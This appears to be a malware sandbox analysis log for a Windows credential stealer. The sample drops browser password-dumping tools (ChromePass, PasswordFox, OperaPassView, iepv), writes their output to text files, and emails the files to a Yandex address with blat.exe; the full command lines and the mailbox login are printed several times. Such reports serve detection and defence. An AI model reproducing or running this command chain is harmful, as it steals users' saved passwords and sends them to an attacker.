Code function: 13_2_0040BFA0 GetCurrentProcess,GetLastError,GetProcAddress,GetProcAddress,LookupPrivilegeValueA,GetProcAddress,AdjustTokenPrivileges,GetLastError,CloseHandle,

13_2_0040BFA0

Source: C:\Users\user\Desktop\0zu73p2YBu.exe

Code function: 0_2_004014CB GetSystemDirectoryA,PathAddBackslashA,GetWindowsDirectoryA,PathAddBackslashA,GetTempPathA,PathAddBackslashA,GetModuleFileNameA,PathFindFileNameA,GetEnvironmentVariableA,PathAddBackslashA,SHGetSpecialFolderPathA,PathAddBackslashA,SHGetSpecialFolderPathA,PathAddBackslashA,FindResourceA,SizeofResource,LoadResource,LockResource,GlobalAlloc,RtlMoveMemory,GlobalAlloc,RtlMoveMemory,RtlDecompressBuffer,GlobalFree,lstrcpynA,lstrcpyA,lstrlenA,lstrcpyA,lstrlenA,lstrcpyA,PathAddBackslashA,lstrcatA,lstrcpyA,CreateFileA,WriteFile,HeapAlloc,WriteFile,HeapFree,CreateFileA,GetFileSize,CloseHandle,HeapAlloc,WriteFile,HeapFree,CloseHandle,GlobalFree,SetFileAttributesA,lstrcpyA,PathFindFileNameA,ShellExecuteA,FreeResource,ExitProcess,ExitProcess,

0_2_004014CB

Source: C:\Windows\System32\conhost.exe

Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7380:120:WilError_03

Source: C:\Users\user\Desktop\0zu73p2YBu.exe

File created: C:\Users\user\AppData\Local\Temp\ .exe

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\ .exe

Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Local\Temp\600.tmp\ip.bat" "

Source: 0zu73p2YBu.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\0zu73p2YBu.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\0zu73p2YBu.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: ChromePass.exe, ChromePass.exe, 0000000F.00000002.1785877139.0000000000401000.00000040.00000001.01000000.00000010.sdmp	Binary or memory string: SELECT 'INSERT INTO vacuum_db.' \|\| quote(name) \|\| ' SELECT * FROM ' \|\| quote(name) \|\| ';' FROM vacuum_db.sqlite_master WHERE name=='sqlite_sequence';
Source: ChromePass.exe, ChromePass.exe, 0000000F.00000002.1785877139.0000000000401000.00000040.00000001.01000000.00000010.sdmp	Binary or memory string: SELECT 'INSERT INTO vacuum_db.' \|\| quote(name) \|\| ' SELECT * FROM ' \|\| quote(name) \|\| ';'FROM sqlite_master WHERE type = 'table' AND name!='sqlite_sequence' AND rootpage>0
Source: ChromePass.exe, 0000000F.00000003.1785680506.0000000000A5B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));
Source: ChromePass.exe, ChromePass.exe, 0000000F.00000002.1785877139.0000000000401000.00000040.00000001.01000000.00000010.sdmp	Binary or memory string: SELECT 'DELETE FROM vacuum_db.' \|\| quote(name) \|\| ';' FROM vacuum_db.sqlite_master WHERE name='sqlite_sequence'

Source: 0zu73p2YBu.exe

ReversingLabs: Detection: 100%

Source: .exe	String found in binary or memory: tername%_iepv.txt ping -n 3 127.0.0.1 > nul start ChromePass.exe /stext %computername%_ChromePass.txt ping -n 120 127.0.0.1 > nul blat.exe -install -server smtp.yandex.ru -port 587 -f alexandrKondratiev5@yandex.ru -u alexandrKondratiev5 -pw qwerty5
Source: .exe	String found in binary or memory: -installIMAP
Source: .exe	String found in binary or memory: -install
Source: .exe	String found in binary or memory: -installSMTP
Source: .exe	String found in binary or memory: -installNNTP
Source: .exe	String found in binary or memory: -installPOP3
Source: .exe	String found in binary or memory: %s------------Start of Session-----------------
Source: .exe	String found in binary or memory: To set the SMTP server's name/address and your username/email address for that server machine do: blat -install server_name your_email_address or use '-server <server_name>' and '-f <your_email_address>'
Source: .exe	String found in binary or memory: To set the SMTP server's name/address and your username/email address for that server machine do: blat -install server_name your_email_address or use '-server <server_name>' and '-f <your_email_address>'
Source: .exe	String found in binary or memory: Profiles are listed as in the -install option:
Source: .exe	String found in binary or memory: To modify IMAP: blat -installIMAP IMAPHost - - [Port [Profile
Source: .exe	String found in binary or memory: To modify POP3: blat -installPOP3 POP3Host - - [Port [Profile
Source: .exe	String found in binary or memory: To modify NNTP: blat -installNNTP NNTPHost Sender [Try [Port [Profile
Source: .exe	String found in binary or memory: or: blat -installSMTP SMTPHost Sender [Try [Port [Profile
Source: .exe	String found in binary or memory: To modify SMTP: blat -install SMTPHost Sender [Try [Port [Profile [Login name
Source: .exe	String found in binary or memory: use -installIMAP for storing IMAP information
Source: .exe	String found in binary or memory: use -installPOP3 for storing POP3 information
Source: .exe	String found in binary or memory: use -installNNTP for storing NNTP information
Source: .exe	String found in binary or memory: same parameters as -install, and is only for SMTP settings.
Source: .exe	String found in binary or memory: : displays this help (also -?, /?, -help or /help)
Source: .exe	String found in binary or memory: -help
Source: .exe	String found in binary or memory: Blat -install <server addr> <sender's addr> [<try>[<port>[<profile>]]] [-q]
Source: .exe	String found in binary or memory: To set the NNTP server's address and the user name at that address do: blat -installNNTP server username
Source: .exe	String found in binary or memory: To set the POP3 server's address and the login name at that address do: blat -installPOP3 server - - - - loginname loginpwd
Source: .exe	String found in binary or memory: To set the IMAP server's address and the login name at that address do: blat -installIMAP server - - - - loginname loginpwd
Source: PasswordFox.exe	String found in binary or memory: /installfolder
Source: blat.exe	String found in binary or memory: Profiles are listed as in the -install option:
Source: blat.exe	String found in binary or memory: To modify IMAP: blat -installIMAP IMAPHost - - [Port [Profile
Source: blat.exe	String found in binary or memory: -install
Source: blat.exe	String found in binary or memory: To set the POP3 server's address and the login name at that address do: blat -installPOP3 server - - - - loginname loginpwd
Source: blat.exe	String found in binary or memory: To set the IMAP server's address and the login name at that address do: blat -installIMAP server - - - - loginname loginpwd
Source: blat.exe	String found in binary or memory: To modify POP3: blat -installPOP3 POP3Host - - [Port [Profile
Source: blat.exe	String found in binary or memory: To modify NNTP: blat -installNNTP NNTPHost Sender [Try [Port [Profile
Source: blat.exe	String found in binary or memory: %s------------Start of Session-----------------
Source: blat.exe	String found in binary or memory: To set the SMTP server's name/address and your username/email address for that server machine do: blat -install server_name your_email_address or use '-server <server_name>' and '-f <your_email_address>'
Source: blat.exe	String found in binary or memory: To set the SMTP server's name/address and your username/email address for that server machine do: blat -install server_name your_email_address or use '-server <server_name>' and '-f <your_email_address>'
Source: blat.exe	String found in binary or memory: To set the NNTP server's address and the user name at that address do: blat -installNNTP server username
Source: blat.exe	String found in binary or memory: To set the SMTP server's name/address and your username/email address for thatserver machine do:blat -install server_name your_email_addressor use '-server <server_name>' and '-f <your_email_address>'
Source: blat.exe	String found in binary or memory: To set the SMTP server's name/address and your username/email address for thatserver machine do:blat -install server_name your_email_addressor use '-server <server_name>' and '-f <your_email_address>'
Source: blat.exe	String found in binary or memory: To modify NNTP: blat -installNNTP NNTPHost Sender [Try [Port [Profile
Source: blat.exe	String found in binary or memory: Profiles are listed as in the -install option:
Source: blat.exe	String found in binary or memory: To modify IMAP: blat -installIMAP IMAPHost - - [Port [Profile
Source: blat.exe	String found in binary or memory: To modify POP3: blat -installPOP3 POP3Host - - [Port [Profile
Source: blat.exe	String found in binary or memory: To set the POP3 server's address and the login name at that address do:blat -installPOP3 server - - - - loginname loginpwd
Source: blat.exe	String found in binary or memory: %s------------Start of Session-----------------
Source: blat.exe	String found in binary or memory: To set the IMAP server's address and the login name at that address do:blat -installIMAP server - - - - loginname loginpwd
Source: blat.exe	String found in binary or memory: To set the NNTP server's address and the user name at that address do:blat -installNNTP server username
Source: blat.exe	String found in binary or memory: Profiles are listed as in the -install option:
Source: blat.exe	String found in binary or memory: To modify IMAP: blat -installIMAP IMAPHost - - [Port [Profile
Source: blat.exe	String found in binary or memory: -install
Source: blat.exe	String found in binary or memory: To set the POP3 server's address and the login name at that address do: blat -installPOP3 server - - - - loginname loginpwd
Source: blat.exe	String found in binary or memory: To set the IMAP server's address and the login name at that address do: blat -installIMAP server - - - - loginname loginpwd
Source: blat.exe	String found in binary or memory: To modify POP3: blat -installPOP3 POP3Host - - [Port [Profile
Source: blat.exe	String found in binary or memory: To modify NNTP: blat -installNNTP NNTPHost Sender [Try [Port [Profile
Source: blat.exe	String found in binary or memory: %s------------Start of Session-----------------
Source: blat.exe	String found in binary or memory: To set the SMTP server's name/address and your username/email address for that server machine do: blat -install server_name your_email_address or use '-server <server_name>' and '-f <your_email_address>'
Source: blat.exe	String found in binary or memory: To set the SMTP server's name/address and your username/email address for that server machine do: blat -install server_name your_email_address or use '-server <server_name>' and '-f <your_email_address>'
Source: blat.exe	String found in binary or memory: To set the NNTP server's address and the user name at that address do: blat -installNNTP server username
Source: blat.exe	String found in binary or memory: To set the SMTP server's name/address and your username/email address for thatserver machine do:blat -install server_name your_email_addressor use '-server <server_name>' and '-f <your_email_address>'
Source: blat.exe	String found in binary or memory: To set the SMTP server's name/address and your username/email address for thatserver machine do:blat -install server_name your_email_addressor use '-server <server_name>' and '-f <your_email_address>'
Source: blat.exe	String found in binary or memory: To modify NNTP: blat -installNNTP NNTPHost Sender [Try [Port [Profile
Source: blat.exe	String found in binary or memory: Profiles are listed as in the -install option:
Source: blat.exe	String found in binary or memory: To modify IMAP: blat -installIMAP IMAPHost - - [Port [Profile
Source: blat.exe	String found in binary or memory: To modify POP3: blat -installPOP3 POP3Host - - [Port [Profile
Source: blat.exe	String found in binary or memory: To set the POP3 server's address and the login name at that address do:blat -installPOP3 server - - - - loginname loginpwd
Source: blat.exe	String found in binary or memory: %s------------Start of Session-----------------
Source: blat.exe	String found in binary or memory: To set the IMAP server's address and the login name at that address do:blat -installIMAP server - - - - loginname loginpwd
Source: blat.exe	String found in binary or memory: To set the NNTP server's address and the user name at that address do:blat -installNNTP server username

Source: C:\Users\user\AppData\Local\Temp\600.tmp\iepv.exe

Evasive API call chain: __getmainargs,DecisionNodes,exit

graph_13-4413

Source: unknown	Process created: C:\Users\user\Desktop\0zu73p2YBu.exe "C:\Users\user\Desktop\0zu73p2YBu.exe"
Source: C:\Users\user\Desktop\0zu73p2YBu.exe	Process created: C:\Users\user\AppData\Local\Temp\ .exe "C:\Users\user\AppData\Local\Temp\ .exe"
Source: C:\Users\user\AppData\Local\Temp\ .exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Local\Temp\600.tmp\ip.bat" "
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping -n 3 127.0.0.1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\600.tmp\OperaPassView.exe OperaPassView.exe /stext user-PC_OperaPassView.txt
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping -n 3 127.0.0.1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\600.tmp\PasswordFox.exe PasswordFox.exe /stext user-PC_PasswordFox.txt
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping -n 3 127.0.0.1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\600.tmp\iepv.exe iepv.exe /stext user-PC_iepv.txt
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping -n 3 127.0.0.1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\600.tmp\ChromePass.exe ChromePass.exe /stext user-PC_ChromePass.txt
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping -n 120 127.0.0.1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\600.tmp\blat.exe blat.exe -install -server smtp.yandex.ru -port 587 -f alexandrKondratiev5@yandex.ru -u alexandrKondratiev5 -pw qwerty5
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping -n 3 127.0.0.1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\600.tmp\blat.exe blat.exe -to alexandrKondratiev5@yandex.ru -subject "Opera" -attachi "user-PC_OperaPassView.txt" -body "Opera"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping -n 3 127.0.0.1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\600.tmp\blat.exe blat.exe -to alexandrKondratiev5@yandex.ru -subject "Fox" -attachi "user-PC_PasswordFox.txt" -body "Fox"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping -n 3 127.0.0.1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\600.tmp\blat.exe blat.exe -to alexandrKondratiev5@yandex.ru -subject "ie" -attachi "user-PC_iepv.txt" -body "ie"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping -n 3 127.0.0.1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\600.tmp\blat.exe blat.exe -to alexandrKondratiev5@yandex.ru -subject "Chrome" -attachi "user-PC_ChromePass.txt" -body "Chrome"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping -n 3 127.0.0.1
Source: C:\Users\user\Desktop\0zu73p2YBu.exe	Process created: C:\Users\user\AppData\Local\Temp\ .exe "C:\Users\user\AppData\Local\Temp\ .exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ .exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Local\Temp\600.tmp\ip.bat" "	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping -n 3 127.0.0.1	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\600.tmp\OperaPassView.exe OperaPassView.exe /stext user-PC_OperaPassView.txt	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping -n 3 127.0.0.1	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\600.tmp\PasswordFox.exe PasswordFox.exe /stext user-PC_PasswordFox.txt	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping -n 3 127.0.0.1	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\600.tmp\iepv.exe iepv.exe /stext user-PC_iepv.txt	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping -n 3 127.0.0.1	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\600.tmp\ChromePass.exe ChromePass.exe /stext user-PC_ChromePass.txt	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping -n 120 127.0.0.1	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\600.tmp\OperaPassView.exe OperaPassView.exe /stext user-PC_OperaPassView.txt	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping -n 3 127.0.0.1	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\600.tmp\blat.exe blat.exe -to alexandrKondratiev5@yandex.ru -subject "Opera" -attachi "user-PC_OperaPassView.txt" -body "Opera"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping -n 3 127.0.0.1	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\600.tmp\blat.exe blat.exe -to alexandrKondratiev5@yandex.ru -subject "Fox" -attachi "user-PC_PasswordFox.txt" -body "Fox"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping -n 3 127.0.0.1	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\600.tmp\ChromePass.exe ChromePass.exe /stext user-PC_ChromePass.txt	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping -n 3 127.0.0.1	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\600.tmp\blat.exe blat.exe -to alexandrKondratiev5@yandex.ru -subject "Chrome" -attachi "user-PC_ChromePass.txt" -body "Chrome"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\PING.EXE ping -n 3 127.0.0.1	Jump to behavior

Source: C:\Users\user\Desktop\0zu73p2YBu.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\0zu73p2YBu.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\0zu73p2YBu.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\0zu73p2YBu.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\0zu73p2YBu.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\0zu73p2YBu.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\0zu73p2YBu.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\0zu73p2YBu.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\0zu73p2YBu.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\0zu73p2YBu.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\0zu73p2YBu.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\0zu73p2YBu.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\0zu73p2YBu.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\0zu73p2YBu.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\0zu73p2YBu.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\0zu73p2YBu.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\0zu73p2YBu.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\0zu73p2YBu.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\0zu73p2YBu.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\0zu73p2YBu.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\0zu73p2YBu.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\0zu73p2YBu.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ .exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ .exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ .exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ .exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ .exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ .exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ .exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ .exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ .exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ .exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ .exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ .exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ .exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ .exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ .exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ .exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ .exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ .exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ .exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ .exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ .exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ .exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ .exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ .exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ .exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: cmdext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: twinui.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: mrmcorer.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: windows.staterepositorycore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: bcp47mrm.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: windows.ui.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: windowmanagementapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: inputhost.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\PING.EXE	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\PING.EXE	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\PING.EXE	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\600.tmp\OperaPassView.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\600.tmp\OperaPassView.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\600.tmp\OperaPassView.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\600.tmp\OperaPassView.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\PING.EXE	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\PING.EXE	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\PING.EXE	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\600.tmp\PasswordFox.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\600.tmp\PasswordFox.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\600.tmp\PasswordFox.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\PING.EXE	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\PING.EXE	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\PING.EXE	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\600.tmp\iepv.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\600.tmp\iepv.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\600.tmp\iepv.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\600.tmp\iepv.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\600.tmp\iepv.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\600.tmp\iepv.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\600.tmp\iepv.exe	Section loaded: pstorec.dll	Jump to behavior
Source: C:\Windows\SysWOW64\PING.EXE	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\PING.EXE	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\PING.EXE	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\600.tmp\ChromePass.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\600.tmp\ChromePass.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\600.tmp\ChromePass.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\PING.EXE	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\PING.EXE	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\PING.EXE	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\600.tmp\blat.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\600.tmp\blat.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\600.tmp\blat.exe	Section loaded: gssapi32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\PING.EXE	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\PING.EXE	Section loaded: winnsi.dll	Jump to behavior
